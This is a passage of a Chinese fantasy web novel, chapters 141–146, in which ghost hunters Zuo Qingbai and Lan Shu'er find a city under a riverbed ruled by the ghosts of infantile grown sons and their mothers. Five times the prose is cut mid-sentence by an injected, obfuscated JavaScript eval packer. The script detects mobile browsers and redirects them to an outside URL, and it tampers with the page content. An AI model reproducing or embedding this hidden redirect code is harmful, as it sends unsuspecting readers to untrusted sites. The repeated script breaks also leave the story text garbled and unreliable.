周如森逃似的从周夙身边逃走,慌忙跑进路回车里。周夙盯着路回看了几秒,最后“扑哧”一声笑出声来,对路回说道:“大雾天看星星,别逗了。” 141. 吻得难舍难分 路回“唉”了一声,说:“哥,你与方伯有些矛盾,我是知道的。” “哦?什么矛盾?” “小时候我想带你去外公的宅子玩,方伯吼了你一句,不让你进去。他当时虽然过分,但你不要怪他,那其实是我外公的意思。” “那是什么时候的事来着?幼儿园?你觉得我会因为幼儿园的一件事记恨到现在?” “对嘛,幼儿园的事,就别记恨了。” “你觉得我与方伯的矛盾就是幼儿园的时候他吼了我一句?” “难道不是吗?” 路回的眼神清澈而无辜,看样子不是说谎,他是真这么认为。 周夙还想说什么,但转念一想:罢了,路回跟这件事没关系,况且他不是修炼者,遇到危险难以自保,还是不要把他牵扯进来的好。 于是周夙说道:“你觉得是就是吧。” 路回笑道:“那你就别怪方伯了。他一个老人家,晚上在外面怕冷,我让司机把他送回家,咱哥俩找个地方喝杯酒,怎么样?” 周夙刚想说“这么晚了喝什么酒”,但他看到路回毫无恶意的笑容,又想:世界变迁得太快,这个时代的一切我都很不适应,来到这里后我无依无靠,只有这一个弟弟对我好,我作为兄长,顺着他一点又何妨?他想喝酒,那就去吧。 “走吧。”周夙说。 “等一下。”路回突然说。 “又怎么了?”周夙问。 路回指着采云塔说:“来都来了,看看这座塔呗。” “晚上进不去。” “就在外面看看。” 周夙摸不透路回的想法,但也随他。 塔身雕刻着采云塔的传说故事,路回一幕一幕地看过去。 “他们到底从天上采到什么重要的东西了,才会被神仙惩罚?”路回自言自语。随后他闭上眼,仿佛在努力回忆。 “不是什么重要东西,一筐漂亮的三彩石头而已。那些石头除了好看,跟普通石头没什么区别,一点用处都没有。”周夙说。 “你怎么知道?”路回奇怪地问。 “我小时候经常拿来玩。”周夙脱口而出。 那筐石头后来几经辗转到了天女城,长老们研究了半天确定那就是普通石头,就让小辈们随便玩了。 “啊?”路回一脸讶异。 周夙赶紧改口,“没有,我开玩笑的。你看完了吗,不是要去喝酒吗?” 两人下了山,找了个地方喝酒,很晚才散。 路回回到家时已经醉了,陈妈来照顾他,路回摆摆手,说不用。 陈妈去厨房煮醒酒汤去了,路回靠在沙发上,半醉半醒之间他转动了套在他手上的银召圈。银召圈是左轻白给路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14979834|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回的,左轻白说,如果遇到鬼了,就按照她说的方法转动银召圈,她会马上赶到路回身边捉鬼。 现在没有鬼,但路回还是转动了银召圈。 过了一会,左轻白乘坐由符纸变成的飞毯冲进了路回的别墅。她一路冲进来,匆匆忙忙,搞得什么花瓶、摆件掉了一地。 左轻白飞扑到路回身前,焦急地问:“你怎么样了?怎么脸这么红?那只鬼对你做了什么?鬼在哪里?” 路回醉了,他“哧哧”地笑了笑,摇了摇头,说:“没有鬼,脸红是因为我喝了酒。” 左轻白一愣,“没有鬼你转什么银召圈?” 路回只是笑,那双充满笑意的眼睛无比温柔地看着左轻白。“因为我想你了。”路回说。 左轻白还没反应过来,突然路回猛地抱住了她,把头埋在她颈边。 “听我说,轻白。”路回是真的醉了,说的话模糊不清,他说:“我最近好像记起了什么,但又记得不太清楚,一会记得,一会又忘了……” 他说得含含糊糊,口齿不清,左轻白根本听不清楚,不停地“啊?啊?啊?你在说什么?” 路回大概也意识到自己醉得说不清楚话,干脆不说了,他搂紧了左轻白,醉呼呼地吻了上去。 陈妈端着醒酒汤走出来时,只看到路回和左轻白在沙发上抱成一团,吻得难舍难分。 142. 那座城市 左轻白和兰殊尔那部剧还在拍摄中。 尽管投资方之一的中开影业发生重大变故,中开影业负责人扈光死了,副导演之一贾奎也死了,但要知道投钱的不只中开影业一家,其他投资人的钱还在里面,既然如此,这个项目就不能停,还得接着干,但是因为资金的缩减,剧集估计要砍掉不少。 这部剧涉及古代探案,有大量外景戏,制作组很有诚意,哪怕资金缩减,也没有为了省钱全部采用棚景,而是依然坚持实景拍摄。 他们这次离开影视城,来到了一个叫陇县的小县城。 兰殊尔的粉丝和站姐追到陇县探班,兰殊尔跟他们见了面。兰殊尔这人,白瞎了一张好看的脸,情商是真一般,风趣幽默更是一点不沾,就是个彻头彻尾的老干部作风:粉丝给他送花,他一本正经地说买花的钱还不如省下来孝敬父母;粉丝里有几个大学生,他板着脸教育道学生就应该以学业为重,怎么能追星呢? 左轻白在一旁看得直乐。 太正经的人都不可爱,但物极必反,这种正的发邪的反倒惹得众粉丝捂着脸直呼“可爱”。兰殊尔越是正得格格不入,他的观众缘就越好。 今天的拍摄地点在野外,这里有一个很大的瀑布,非常壮观。今天准备拍摄一场左轻白和反派在瀑布上打斗,左轻白被反派暗算掉入激流,差点嘎了,关键时刻兰殊尔跳入水中救人的戏份。 准备威亚时执行导演看了一眼湍急的瀑布,有些担心地对左轻白说:“轻白老师,要不我们用替身吧,这好像有些危险。” 左轻白大大咧咧地一拍自己的胸脯,说:“没事!我的动作戏,你还不放心吗?” 于是左轻白亲自上了。 一开始拍摄在瀑布上打斗的戏份时倒是很顺利,然而在拍掉入水中的镜头时,意外还是发生了。 水流太急,左轻白真的被冲走了! 左轻白不是不会游泳,但是在激流中游泳也无济于事,左轻白无可奈何地被水推着走,被凶猛的浪花拍入水底。 岸上的人在尖叫,但水下的左轻白听不到。混乱中更糟糕的事情发生了,左轻白被水草缠住了脚! 左轻白去解那些水草,但笨重的戏服限制了她,搞得她笨手笨脚。水草刚一解开,河水就往左轻白口鼻灌去,左轻白差点窒息。 这一灌,左轻白才猛的想起自己有符咒可用,左轻白一拍脑袋,心想自己怎么突然犯蠢?她连忙施咒,很快,法术包裹了左轻白,在她的周围形成保护罩,将她护在一个大气泡里,气泡隔绝河水。 左轻白脱险,在气泡里大口喘气。 左轻白拍了拍胸脯,说:“幸好幸好,幸好当初跟师父学了这个避水咒,关键时刻救我狗命。” 左轻白贴了几张符纸,加固气泡,接着念起咒语,让气泡往上浮。 然而就在这时,左轻白的目光被刚刚缠在她腿上,又被她扯下的水草吸引。 刚才太混乱,左轻白没有看清楚那些水草,现在呆在气泡中,她才看清那根本不是什么水草,而是一截红色的丝带。 说是丝带也不准确,它没有丝带那么轻盈,就是一根红色的布条而已。 河里有这些换七八糟的东西不奇怪,可能是岸上的人扔的,奇怪的是,如果是岸上扔的,它应该浮在水里才对,可这根布条却是从河床的石头缝里长出来的,它从下往上长,就跟水草一样。 左轻白心想是不是布条的一端被石头压住了,好奇心使然,左轻白让气泡飘了过去,伸手去挪布条底部的石头。 挪开几块石头后,左轻白眼睛都瞪大了,她惊讶地发现,不是布条的一端被石头压住了,而是布条真的是从一个小洞里长出来的。 左轻白把眼睛凑过去,把布条扒拉到一边,从那个小洞看过去,她看到在小洞的那边好像是一个城市! 左轻白怀疑自己眼花了,她揉揉眼睛,准备再看一眼,然而就在这时,一人往左轻白的方向游了过来。 这人游过来后二话不说把手伸进保护着左轻白的那个气泡,抓住左轻白的胳膊,用力把她一拽,不由分说地带着她往水面游去。 这人是兰殊尔,他下水救左轻白来了。 “哗啦”一声,兰殊尔带着左轻白浮出水面,剧组人员赶紧围了上来,把两人拉上了岸。 见左轻白没事,所有人都松了一口气,边拍胸脯边说人没事就好,真是福大命大,尤其导演,都快急死了。 剧组拍摄时出现事故的先例不在少数,导演捏了一把冷汗,心想还是得提高安全意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991228|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识才行。 兰殊尔小声问左轻白:“你在干什么?你会避水咒,知道这种情况难不倒你,但你这么久才上来?” “我在水下看到了很有意思的东西。” “多有意思也得先上来再说啊。” “我没事。” “大家都快急死了。” “我跟你说……” 左轻白把在水里看到的场景告诉了兰殊尔。 接下来的拍摄大家更为小心,最后得以顺利完成。 下午六点,瀑布的戏都拍完了,刚好到了晚饭时间,剧组的盒饭到了,大家有的拿着小板凳,有的就蹲着,就在河边吃起了饭。 有一个叫阿才的工作人员坐得离河边很近,不光坐得近,他还背对着河边。 阿才一边吃饭一边玩手机,没意识到在他背后,从河里钻出来一股阴风,阴风一点一点靠近阿才,突然,阴风一卷,阿才突然感到有一股强大的力量扒拉着他的肩膀,将他往后拉,阿才重心不稳,往后仰翻。 他背对着河,坐得离河又近,往后仰翻就翻到河里了! 就在这时,兰殊尔及时扶稳了他,左轻白也突然来到他身边,莫名其妙地伸手一挥,像是在空中把什么东西抓住了一样,抓住之后又迅速塞进兜里。 阿才惊魂未定,兰殊尔扶着他坐好,嘱咐道:“下次别坐在这么危险的地方吃饭。” 说完,左轻白和兰殊尔“嗖”的一下窜到一棵大树后面,像在密谋什么。 左轻白掏出一张符纸,刚才有个水鬼想把坐在河边的阿才拉入水中吃掉,被兰殊尔和左轻白及时阻止,左轻白把水鬼收入符中。 左轻白捏着符纸,对关在里面的水鬼说:“好你个水鬼,竟然敢在两个捉鬼师面前害人。” “什么捉鬼师?有这种职业?”水鬼一脸懵逼。 “过去的500年里没有,但是现在有了。”左轻白得意洋洋地说。 兰殊尔提醒:“你不是有疑问要问它吗?” “哦,对。水鬼,你在这里呆了多久?”左轻白问。 “很多很多年吧,记不清了。” “那我问你一件怪事,你一定知道咯。”左轻白想问的是在水下,她从石头缝的小洞里看到的那座城市。 143. 有得忙了 左轻白向水鬼询问那座城市的秘密。据水鬼说,它也从小孔窥探过那座城市,但从没去过。水鬼说,那座城市大概住着很多小孩,因为经常传来小孩的哭声,哭的时候往往不是一个,而是一群。 水鬼还说,缠住左轻白的布条不是丝带,而是背小孩用的红背带,城市里不仅有小孩,还有他们的妈妈,妈妈用红背带背小孩。 “既然这红背带能过来,那我们就也能过去。”左轻白说。 “过去干什么?”兰殊尔问。 “看看那边有什么玄机。”左轻白说。 “你闻到鬼气了?” “小孔太小,又在水下,有没有鬼气我很难分辨得清。” “你怀疑那座城市里的小孩和妈妈都是鬼?” “过去看看不就知道了。水下河床的石头缝里有个小孔,小孔的那头是个城市,城市里经常有小孩哭,这么诡异,说不定真有鬼呢?遇到可疑的东西,我们捉鬼师有责任去探查,不是吗?”左轻白说。 兰殊尔问:“怎么过去?有方法吗?” 左轻白大手一挥,相当自信地说:“暴力砸开小孔,用炸弹炸开也行!” 兰殊尔:“……” 左轻白说:“你什么表情?我是真这么想的。先试试看呗,今晚动手。” “你去哪找炸弹?”破天荒的,这次兰殊尔没有骂左轻白莽撞,大概已经无可奈何到被迫接受这种行事作风了吧。 左轻白托着下巴想了想,说:“要是没记错,道具组那有炸药,拍爆破戏用的,我们去偷几个来。” “够了。”兰殊尔忍无可忍,“我不偷东西。” “不出意外的话,接下来几天我们还要在这附近拍摄,如果那个城市里都是鬼的话,是不是有突然窜过来伤害我们剧组成员的风险?这么大的危险必须早点铲除,我们是捉鬼师,不能坐以待毙呀!”左轻白说。 兰殊尔看了左轻白半晌,最后顶着那张冰山脸,说道:“只能偷一颗。” 夜黑风高之时,左轻白和兰殊尔果然回到了瀑布边,左轻白念起避水咒,两人下水,把从道具组偷来的炸弹绑在水下小孔附近,两人设了定时,回到岸边。 炸弹爆炸,溅起水花万丈,场面十分宏大,左轻白“哇”了一声,大张着嘴,说:“我还以为我们剧组没钱了呢,没想到这个炸弹是真货真价实啊!” “祈求道具师晚一点发现少了颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995591|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸弹吧。”兰殊尔面无表情地说。 炸弹把河底的石头炸开,硬生生地把河床炸出一个坑,那个小洞也在爆炸中被炸成了大洞,一股诡异的旋风从大洞中钻出来。 旋风带动河水,水面出现一个巨大的漩涡,漩涡吸力很大,靠近它的东西都被吸了进去。漩涡中央黑乎乎的,是个深不见底的深渊。 左轻白和兰殊尔互相看了一眼,跳进了漩涡。 两人眼前一黑,接着就是一阵天旋地转。过了一会,两人被漩涡送到一块平地上,平地上还散落着其他被吸进来的乱七八糟的东西。 四周没有水,这块平地是干的,如果没有判断错的话,它在河床底下。河床上是一条河,河床下竟然是另一个世界。 平地开阔,左轻白和兰殊尔站在平地上往远处眺望,映入眼帘的是一座漂亮的城市。 城市里,绿树如荫,建筑物错落有致,设计风格很有艺术感,整体看上去很养眼,唯一打破美感的,是从城市里冒出来的黑色鬼气。 左轻白“哈哈”两声,乐了,说:“白天只透过一个小孔看不清楚,现在看清楚了,果然有鬼。” “有得忙了。”兰殊尔依旧一张扑克脸。 144. 我是没见过这种鬼 两人往城市走去。 鬼气越来越重。 进了城市,这里的街道很干净,街道上偶尔走过几个男人,都是成年人的样子,他们手臂上都绑着一条红布条。 男人身上散发着鬼气。 左轻白指了指红布条,说:“这是背小孩的背带,他们绑自己胳膊上干什么?” “管他们干什么,都是鬼,收了再说。”兰殊尔铁面无情。 “等等。”左轻白阻止了兰殊尔。 这时,左轻白怀里的弥月刃刀柄突然震动,并发出“嗡嗡”的响声。 左轻白把刀柄拿出来,高高举起,正常情况下,不一会儿刀刃就会被刀柄吸引,主动飞过来,然而这次却没有。 左轻白对兰殊尔说:“城里藏有弥月刃碎片,但它应该被卡住了,出不来。先别着急收这些鬼,我先去问问情况,看他们知不知道弥月刃碎片的线索。” 左轻白随机选了个男人,跑了过去。 “你好。”左轻白假装不知道对方是鬼,“你见没见过类似这样的金属碎片?”左轻白举起一枚弥月刃碎片给对方做示例。 对方看了一眼,说:“当然知道,教堂里供着一片。” 左轻白喜道:“教堂在哪里?你能带我们去吗?” “可以啊。”男人爽快地答应下来。 男人在前面带路,左轻白和兰殊尔在后面跟随,两人一边走一边打量这座城市,城市挺干净的,布局方方正正,就是路边的树歪歪扭扭,树干长得十分狰狞,一个个跟老妖婆子似的。 城市里人不多,比较安静,男人带着左轻白和兰殊尔绕了一圈又一圈,没找到教堂,反而又绕回了原地。 “你是不是迷路了?”兰殊尔问。 “你是不是忘了去教堂的路怎么走?”左轻白也问。 男人茫然地挠挠脑袋,喃喃道:“我忘了去教堂的路怎么走了吗?不可能,我怎么会忘呢?我是全世界最厉害的人,怎么可能连路都不记得?” 男人一边口中喃喃“我是全世界最厉害的人”,一边继续带路。 然后他带着左轻白和兰殊尔又一次绕回了原地。气得左轻白骂骂咧咧道:“真没用,连条路都记不住。” 男人大惊失色,他露出屈辱的表情,仿佛被左轻白当众脱光衣服羞辱了一样。 男人反应极大,他嘴唇颤抖,用一种受了奇耻大辱的语气说道:“你……你说我没用?你羞辱我!士可杀不可辱!” 左轻白道:“这就羞辱啦?你这男的自尊心怎么这么脆弱?” 她话音刚落,眼前的男人突然发生了变化,他的身体逐渐变大,变得有三个左轻白那么高,不光变大而已,形态也变了,他从一个普通成年男人硬生生变成了一个穿着肚兜、巨大无比的巨婴,脸蛋胖嘟嘟的,手臂和腿也像莲藕那样肥嘟嘟,脚趾头圆润又粉嫩,如果忽略那巨大的体型的话,算得上是个可爱的婴儿,然而婴儿拥有这么大的体型,就只剩下恐怖了。 左轻白瞪大了眼睛,惊讶得合不拢嘴。 左轻白指着巨婴,“这这这这……” 巨婴愤怒地瞪着左轻白,张大嘴吼道:“士可杀,不可辱!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014851|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左轻白见他嘴巴张这么大,还以为他要吞了自己,没想到那巨婴“哇”的一声大哭了起来,哭声相当洪亮。 巨婴一边哭,一边解下自己手臂上的红背带,举起来挥了挥,他张着大嘴,哭着叫了一声:“妈妈!” 左轻白惊呆了。 这时兰殊尔在一旁用胳膊肘撞了撞左轻白,说:“你哄他一下。” “怎怎怎么哄?”左轻白还沉浸在震惊当中。 “夸他厉害,他很在意自己是不是个厉害的人,维护下他的自尊心。” 于是左轻白扯着嗓子大声喊道:“喂!你听我说!你是个非常牛逼的人!” 夸赞还真有用,巨婴的哭声立即停下来了,他渐渐脱离巨婴形态,变回原来的样子。 他刚才哭花了脸,所以站在那里默默抹脸。 就在这时,一个中年妇人旋风似的冲了过来,一来就抱住男人的脑袋,满脸慈爱地喊:“我的儿啊!” 妇人见男人的脸哭花了,拿出手帕来给男人抹脸,小心翼翼的,虽然对方已经是个大人了,但她却依然像对待孩童一样对待对方。 男人见妇人来了,搂住她,哭喊:“妈妈,我爱你!”他已经是个成年人,但行为却还是个婴儿。 妇人也哭了,“妈妈也爱你!” 左轻白小声问兰殊尔:“这又是什么戏码?” “管他什么戏码,都是鬼,都收了得了。我是受不了了,多大个人了一天喊妈。”兰殊尔是真受不了了。 左轻白叉着腰说:“我是没见过这种鬼,不过,这样的人其实不少。” 145. 他怎么又变大了 那娘俩抱头痛哭,男人越哭越委屈,他妈妈一直耐心地哄他,小心翼翼地拾起他那被一句话打碎的“男性自尊”。 男人看向站在一旁看戏的左轻白和兰殊尔两人,不知道想到了什么,突然怒从中来。 他一怒,就又变大了。 男人的身躯开始膨胀、变形,刚刚那个穿着肚兜的巨大婴儿再次站在了左轻白和兰殊尔面前。 左轻白指着巨婴,“他他他……他怎么又变大了?” 巨婴走近两人,用稚嫩的童声说:“刚才我哭了。” “我看到了。”左轻白接话道。 “我都哭了,为什么不来哄我?” “为什么要哄你?” “我妈都哄我了。” “你妈之所以哄你是因为她是你妈,而我不是你妈。”左轻白说着,又一指身边的兰殊尔,道:“他也不是你妈。” “你刚才伤害了我的自尊。” “我不是你妈,我没有义务维护你的自尊。” 巨婴满脸震惊,似乎很难接受“我不是你妈所以我不用哄你也没有义务维护你的自尊”这个结论,在他的意识里,世界都应该像妈妈一样爱他才对。 巨婴越来越愤怒,身体也越来越膨胀,接着,他“哇”的一声哭了出来,哭声洪亮。 这时他母亲急道:“你就说几句话哄哄他吧。” 左轻白却道:“你儿子变成这样,你也有责任。” 兰殊尔则拿出符纸,对左轻白说:“别废话了,把他们收了,收完再找教堂。” 兰殊尔话音刚落,突然一阵沉重的脚步声从四面八方传来。 “咚,咚,咚,咚。”地面尘土飞扬,好像是一群巨物朝这边聚集过来了。 不一会儿,一群巨婴包围了左轻白和兰殊尔,每个巨婴身边都跟着他们的妈妈,红背带连接着他们。 “我……靠。”左轻白傻眼了。 “就说应该早点行动。”兰殊尔一跃而起,腾在半空,他把符纸换成了银色手枪,朝面前的巨婴开了一枪。 银色手枪的子弹是针对鬼特制的,不杀人,但杀鬼。兰殊尔朝巨婴的肚子开了一枪,巨婴惨叫一声倒地,捂着肚子,看上去痛苦至极。 这一枪虽然打中了,但未能致命,巨婴的母亲见儿子受伤,立即发出一声惨痛的叫声,她愤怒地看着兰殊尔,本来温婉的一张脸逐渐扭曲变形,七窍冒出黑烟,形态极其可怖。 母亲朝兰殊尔怒吼:“你敢伤害我儿子?” 她四肢着地爬行,疯狂地朝兰殊尔奔来。这时兰殊尔朝巨婴的脑袋又补了一枪,这一枪打中了巨婴的脑袋,巨婴脑袋崩裂,当场死亡。巨婴一死,他的妈妈竟然也跟着死了,女人在兰殊尔面前化成了一团黑气。 兰殊尔发现了规律,他大声对左轻白说:“他们是共生的!妈妈和儿子,其中一个死了,另外一个也会死,挑两个之中好杀的那个杀!” 左轻白一挥金色巨剑,应了声:“好!” 两个捉鬼师在一群巨婴和妈妈中杀疯了。这些巨婴鬼力气很大,不得不说有些难对付,但两个捉鬼师联手,最终还是将他们杀光了。 “应该留一个的。”左轻白说,“都杀光了怎么找教堂?” 兰殊尔不以为然,“这座城市就这么大,咱们自己找。” 左轻白收起金色巨剑,说:“好吧,那就找吧,反正弥月刃碎片我一定要拿到。” 左轻白拿出弥月刃刀柄,朝刀柄感应最厉害的方向找去。 刀柄指引两人在某一建筑物前停下。左轻白抬头一看,立即笑了。 “这这这……这是教堂?”左轻白好笑道。 原来眼前的建筑跟传统意义上的西方教堂长得一点都不相干,这明明就是个中式四合院,东方得不能再东方。 “是教堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019325|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。”兰殊尔却一本正经地说,他一指四合院大门口的牌匾,说:“牌匾上不是写着教堂吗?” 没错,这个中式风格满满的木质牌匾上明晃晃地写了两个字:教堂,还是繁体中文。 左轻白笑弯了腰,“中西合并啊这是?”她拍了一下兰殊尔的胳膊,笑得上气不接下气,她说:“这你都不笑,笑点这么高的吗?” 兰殊尔面无表情道:“有什么好笑的?” 两人走进了四合院。 四合院阴森森的,像是几百年没见过阳光。 四合院的中堂摆放着菩萨、财神、关二爷的塑像,以及……一个巨大无比的十字架。 这又给左轻白看笑了,“拜菩萨、拜财神、拜关二爷,还顺便拜耶稣,这是哪个灵验拜哪个?鸡蛋不放在一个篮子里?”左轻白竖起大拇指,赞叹道:“高,实在是高!” 此时,左轻白手中的弥月刃刀柄震动更强烈了,甚至发出了锐鸣声。 左轻白把笑一收,说:“刀柄反应这么强烈,弥月刃碎片就在这里。” 她把目光投向十字架下一个小口大肚的花瓷瓶。 这种形状的瓷瓶有个好听的名字,叫“梅瓶”,口做得很小,肚子却很大,底部又是瘦的,线条优美,风格鲜明。 左轻白把瓷瓶搬了下来,她打开手机照明功能,往瓶口里一照,果然那枚弥月刃碎片就在里面,因为瓶口太小,尽管碎片受到了刀柄的召唤,却飞不出这个狭小的瓶口。 左轻白毫不犹豫地举起瓷瓶,说道:“砸了它,碎片就出来了。” 兰殊尔刚想说“喂,你别莽撞,再思考下”,然而他还没来得及出声,左轻白已经举起瓷瓶往地上一砸! 清脆的响声传来,瓷瓶碎成了一地碎瓷片,弥月刃碎片也在里面,但它没有乖乖回到刀柄上,而是突然冒出刺眼的白光,白光把周遭的一切吞噬,包括左轻白和兰殊尔。 146. 怨念构成的幻境 左轻白再睁眼时,发现自己身处四合院中,兰殊尔不见了,自己身上穿着仆人的衣服。 这四合院住的大概是个富贵人家,请得起仆人。 左轻白探查了一番,认为这是个由怨念构成的幻境,想要打破幻境,就要在里面找到怨念的主人。 左轻白在四合院里逛了一圈,嚯,这院子果真非同一般的怪异。 首先是左轻白路过一口水井,想打口水喝,然而伸头往井下一看,只见井下也有个人,那人半身泡在水中,一动不动,睁着一双眼睛,正幽幽地看着左轻白。 这场面相当吓人,但左轻白并不害怕,因为她知道是幻境,除了怨念的主人外,一切都是假的。 左轻白放下打水的水桶,往前走。 后院有几个女人在做女红,见左轻白走来,纷纷露出奇怪的眼神,她们一边打量左轻白,一边交头接耳。 左轻白大大方方地走了过去,去看她们做的是什么女红,原来她们正在绣绣花鞋。 鞋子做得那叫一个精巧漂亮,跟艺术品似的,左轻白二话不说伸手就拿,她把绣花鞋拿在手里左看右看,没看出什么问题。 就在左轻白想把绣花鞋还回去的时候,突然一个眨眼的工夫,左轻白手里的绣花鞋不见了。 绣花鞋消失的同时,左轻白察觉到有人站在她身后。 左轻白连忙转身,发现一个穿着中式喜服的新娘不知什么时候出现在了左轻白身后,悄无声息的,而那双绣花鞋现在就穿在她的脚上。 新娘面容惨白,根本就是个死人。 这个“死人”开口说话了,她张口就对左轻白说:“我是嫁进来的,这家里的人我一个不认识。” “老公你总认识吧。”左轻白说。 “老公……”新娘茫然,她摇头,幽幽道:“认识,但老公爱他妈妈。” “怎么个爱法?” “你跟我来,我带你去看。” 新娘带着左轻白来到卧室,只见一对母子正脱光了在床上睡觉。 “天啊!”左轻白连忙捂眼。 有伤风化。 新娘又带左轻白来到另一个房间,这个房间里也有一对母子,母亲忙前忙后地伺候儿子,给她已经成年的儿子切水果、喂饭、擦嘴、洗脸。 儿子问母亲:“我是这世界上最厉害的人,我说的都是对的,是吗?” 母亲笑着点头。 突然“砰吱”一声,玻璃碎掉的声音传来,有个叫“自尊心”的东西忽然从儿子身上落了下来,碎了。 儿子脆弱的自尊心不知为何突然碎了一地。 儿子倏的从成年人变成了婴儿的形态,呜咽道:“真的吗?可如果我真是世界上最厉害的人,我说的都是对的,他们为什么不认同我、服从我,为什么不爱我?” 他呜呜地哭着。这类男人的自尊真的好脆弱。 母亲哄了他很久,好不容易才把他哄回成人形态。 儿子又对母亲说:“我是这世上最爱你的人,你也是这世上最爱我的人。” 母亲欣慰极了,她对她儿子重复道:“我是这世上最爱你的人,你也是这世上最爱我的人。” 母子俩抱头痛哭。 “咦惹。”左轻白发出一声被恶心到的声音,对身旁的新娘说:“他们有病吧?” 左轻白想到了什么,又问:“他妈妈的丈夫呢?就是他爸爸,不管管啊?” “丈夫?”新娘疑惑道,“老式的婚姻里面哪有丈夫这个角色?儿子是妈妈的丈夫,爸爸是奶奶的丈夫,错位的。” 新娘指了指面前的人,说:“这是我婆婆。一开始我也觉得婆婆跟她儿子的关系恶心,就是因为婆婆黏着儿子,儿子才会变成这副模样,一切都是婆婆的错。但后来,我渐渐被逼成了我婆婆的样子,我才理解了我婆婆的处境。” “为什么?” “婆婆是嫁进来的,是外人,唯一能当她同盟军的公公却长期处于缺位的状态——我说过,老式婚姻里没有丈夫这个角色。长此以往,孤独的婆婆不得不把过多的关注放在儿子身上。”新娘木然地说。 新娘继续说:“儿子之所以会成为妈妈的丈夫,是因为妈妈真正的丈夫缺位;真正的丈夫为什么缺位?是因为都去当自己母亲的丈夫,补自己爸爸的位置去了。代代如此。” 她说完,一个穿肚兜的儿童朝她跑过来,叫她“妈妈”。 新娘拥抱他,两人十分恩爱。这对母子跟房间里另一对母子没什么不同,进入这种家庭就必然复刻这种家庭的模式。 左轻白喃喃:“原来如此,原来不是母亲、婆婆、儿子某一个人的错,罪魁祸首是这种旧式的家庭模式。” 左轻白感叹完,忽然牵起了新娘的手。 她并不是心念一起,突然心疼起这个新娘来了,事实上,左轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023054|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白死死箍住新娘的手腕,也就是她的脉门,把她掐得不能动弹,无法逃脱。 左轻白看向新娘,说:“你就是怨念的主人吧?幻境里我看到的都是你的怨念。找到你,就能打破幻境。” “是。”新娘平静地说,看来她压根没想逃,她对左轻白说:“这座城市是我建造起来的。偶然间我得到一块碎片,碎片蕴含强大能量,它的能量给了我建造这座城市的能力。城市里聚集的都是跟我经历相似的鬼。” “物以类聚,鬼以群分。”左轻白总结。 “你需要那块碎片是不是?”新娘问。 “是,非常需要。” “碎片给你,但我有一个条件。” “什么条件?” “你和你的同伴短短几个小时之内就杀光了城里的鬼,想必不是普通人,你们这么有能耐,能否帮我一个小忙?” “你说。” “陇县西南方向有一片荒地,那个地方闹鬼厉害,周围的人都知道,你随便一问,就能找到它的位置。荒地下埋着我和我儿子的尸骨,帮我找到它们,建坟立碑。” 